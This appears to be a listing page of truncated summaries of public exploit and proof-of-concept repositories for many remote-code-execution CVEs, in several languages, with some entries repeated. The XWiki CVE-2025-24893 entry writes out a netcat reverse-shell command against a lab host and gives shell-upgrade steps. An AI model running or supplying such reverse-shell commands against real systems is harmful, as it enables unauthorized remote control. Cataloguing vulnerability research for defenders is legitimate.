CVE-2026-55182 LibreNMS: Remote Code Execution by Signal Alert Transportation Module

LibreNMS is a network monitoring system. In versions from 21.6.0 up to 26.5.0, the Signal alert transport is vulnerable to command injection because the signal-cli path and the Recipient field of an alert transport entry are insufficiently escaped before being passed to an exec call. An...

CVE-2026-55182 LibreNMS: Remote Code Execution by Signal Alert Transportation Module

LibreNMS is a network monitoring system. In versions from 21.6.0 up to 26.5.0, the Signal alert transport is vulnerable to command injection because the signal-cli path and the Recipient field of an alert transport entry are insufficiently escaped before being passed to an exec call. An...

CVE-2026-55182

LibreNMS , a network monitoring system, is vulnerable to command injection in the Signal alert transport module (versions 21.6.0 through 26.5.0). The root cause lies in insufficiently escaped signal-cli path and Recipient field in the deliverAlert function of Signal.php, which are passed to unsaf...

CVE-2025-25347

CVE-2025-25347 Übersicht Dieses Tool wird verwendet, um die Schwachstelle CVE-2025-25347 im QingLong Panel zu testen, einer Open-Source-Plattform zur Verwaltung von Task-Automatisierung. Diese Schwachstelle ermöglicht Remote Code Execution RCE , da das Panel an bestimmten Endpunkten keine...

CVE-2021-42013

CVE-2021-42013 Mitwirkender 석은호@eunho87 CVE-2021-42013 Apache http Server Path Traversal Schwachstellenübersicht Ein Fehler in der Pfadnormalisierung des Apache HTTP Server 2.4.50 ermöglicht es, ohne Authentifizierung beliebige Dateien zu lesen oder entfernten Code auszuführen. Er wurde durch ein...

struts2_cve-2017-5638

struts2cve-2017-5638 Dies ist eine Art Java-Portierung des Python-Exploits unter: https://www.exploit-db.com/exploits/41570/. Diese Software wurde ohne externe Abhängigkeiten geschrieben. HAFTUNGSAUSSCHLUSS Dieses Tool ist für Sicherheitsingenieure und AppSec-Leute für Sicherheitsbewertungen...

React2Shell

@React2Hell — CVE-2025-55182 Exploit 🔥 Exploração de Execução Remota de Código RCE no Next.js / React Server root@kitploit: █████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄ ██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██▄▄ ██████ ██▄▄ ██ ██ ██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ▄▄▄███ ██ ██ ██▄▄▄ ██▄▄▄...

CVE-2022-22965

🚨 CVE-2022-22965 — "Spring4Shell" Kritische Remote Code Execution RCE Schwachstelle Öffentlich bekannt gegeben: 31. März 2022 📖 Inhaltsverzeichnis Übersicht Betroffene Komponenten Technische Ursache Ausnutzungsbedingungen Auswirkungen Schweregrad & CVSS Absicherung & Patches Zeitplan Vergleich mi...

CVE-2023-6019

CVE-2023-6019 - Anyscale Ray Dashboard RCE non autenticata PoC per CVE-2023-6019 — Esecuzione di codice in remoto tramite l'API Jobs della Ray Dashboard non autenticata. Creato da oguiii Descrizione Anyscale Ray è un framework open-source per carichi di lavoro distribuiti di ML/AI. Le versioni...

CVE-2025-24893

شل عكسي لـ CVE-2025-24893 root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" ترقية الشل 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

LetsDefend-SOC173-Follina-0-Day-Detected

LetsDefend-SOC173-Follina-0-Day-Detected Somos apresentados a um alerta de segurança que indica a deteção da vulnerabilidade Follina CVE-2022-30190. Um documento Word malicioso acionou a execução do msdt.exe, sugerindo possível execução remota de código no host JonasPRD. A nossa tarefa é investig...

CVE-2024-46506

CVE-2024-46506 Questa è un'implementazione Python standalone per CVE-2024-46506. Ho creato questo script perché riuscivo a trovare solo il modulo Metasploit e mi serviva una versione leggera e portabile che non richiedesse l'intero Metasploit Framework. Disclaimer Questo strumento è destinato...

cve-2025-55182

Exploit Python per CVE-2025-55182 Script Python 3 che può essere utilizzato per dimostrare CVE-2025-55182. Sfrutta una vulnerabilità di injection JavaScript lato server nelle applicazioni Next.js/React, consentendo l'esecuzione remota di codice tramite dati di form multipart malformati. ⚠️ Solo pe...

CVE-2025-48799-

CVE-2025-48799 – Esecuzione di codice remoto in Apache Tomcat PoC Questo repository contiene un proof-of-concept per CVE-2025-48799, una vulnerabilità di esecuzione di codice remoto scoperta in Apache Tomcat 9.0.48. Il difetto deriva da un overflow di interi nel parser delle intestazioni HTTP, ch...

n8n-cve-2025-68613

CVE-2025-68613 – n8n Iniezione di espressioni RCE Questo toolkit fornisce scanner ed exploit PoC per la vulnerabilità critica CVE-2025-68613 in n8n Workflow Automation Platform. Questo repository fornisce script scanner ed exploit PoC per la vulnerabilità critica CVE-2025-68613 che colpisce n8n...

CVE-2025-69460

CVE-2025-69460 – Simple Image Gallery 1.0 تنفيذ التعليمات البرمجية عن بُعد RCE بدون مصادقة – شرح فني CVE-2025-69460 – ExploitDB 50214...

CVE-2025-55182-poc

CVE-2025-55182 - ثغرة سلسلة النماذج الأولية في مكونات خادم React يُظهر هذا الإثبات المفاهيمي POC CVE-2025-55182 باستخدام الكود الفعلي المعرّض للثغرة [email protected]. بدء سريع root@kitploit: Install dependencies npm install Start vulnerable server port 3002 npm start Run RCE exploit npm run...

CVE-2025-24367

CVE-2025-24367 – Cacti authentifizierte Graph-Vorlagen-RCE Verwendung & Sicherheit Wichtig – zuerst lesen: Dieses Repository und exploit.py werden nur für Bildungs- und Forschungszwecke bereitgestellt. Verwenden Sie diesen Code nicht gegen Systeme, Netzwerke oder Dienste, für die Sie keine...

CVE-2025-64424-Coolify-

Coolify CVE-2025-64424 RCE Vulnerability Lab Piano di lezione: Red74-Coolio-CVE-2025-64424 Disclaimer: Questo repository contiene una versione deliberatamente vulnerabile di Coolify ed è destinato a scopi educativi, ambienti CTF e formazione sulla cybersecurity. Non distribuirlo in un ambiente di...

CVE-2019-17147

CVE-2019-17147: Exploit di TP-Link TL-WR841N Panoramica Questo repository documenta l'analisi ingegneristica inversa completa e lo sfruttamento di CVE-2019-17147 , una vulnerabilità critica di esecuzione remota di codice RCE nel router TP-Link TL-WR841N architettura MIPSEL. La vulnerabilità risie...